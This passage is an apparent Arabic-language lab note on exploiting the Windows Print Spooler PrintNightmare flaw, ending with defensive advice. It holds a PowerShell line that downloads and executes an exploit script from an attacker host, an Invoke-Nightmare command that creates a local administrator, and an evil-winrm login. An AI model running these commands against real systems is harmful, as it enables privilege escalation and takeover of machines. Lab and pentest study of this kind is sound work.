> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md).

# Print Spooler - PrintNightmare

`spoolsv.exe` هي خدمة Windows Print Spooler. عندما يكون الهدف عرضة للثغرة، قد يسمح استغلال بأسلوب PrintNightmare بارتفاع الامتيازات محليًا أو عن بُعد وفقًا لإصدار Windows ومستوى التصحيح ومدى تعرّض الخدمة.

## الاكتشاف

اربط بين خدمة Print Spooler النشطة أو المكشوفة وإصدار Windows الدقيق والتحديثات المثبتة.

<figure><img src="/files/25f89a6c3a53cfafac010d17dc088c133a45b359" alt="Windows Print Spooler service identified"><figcaption></figcaption></figure>

## استغلال المختبر

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/b732abaf32a21668728541a96b371f9837449b89" alt="PrintNightmare exploit repository"><figcaption></figcaption></figure>

حمّل البرنامج النصي:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

أنشئ مستخدم مسؤول محلي في المختبر:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "lab-admin" -NewPassword "Use-A-Strong-Temporary-Password!"
```

<figure><img src="/files/127a7dbd2461e5cb087fa2090c8154623e154728" alt="Invoke-Nightmare creating a local administrator user"><figcaption></figcaption></figure>

<figure><img src="/files/850de6fceef4d79dadeff99db5a78f9f20643a2e" alt="New administrative user validation"><figcaption></figcaption></figure>

## الاتصال

```bash
evil-winrm -i 10.10.11.106 -u 'lab-admin' -p 'Use-A-Strong-Temporary-Password!'
```

<figure><img src="/files/ca5b8e32e33f9fd06f31260c7e5705e7d67f56fb" alt="Evil-WinRM connection with the created administrator account"><figcaption></figcaption></figure>

## النقاط الرئيسية

* تأكد من الثغرة من خلال التحقق من الإصدار والتحديثات المثبتة.
* عطّل خدمة Print Spooler حيثما لم تكن مطلوبة، خاصةً على الخوادم الحساسة.
* راقب إنشاء حسابات مسؤول محلي بشكل مفاجئ وعمليات تشغيل برامج تشغيل الطابعات المشبوهة.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
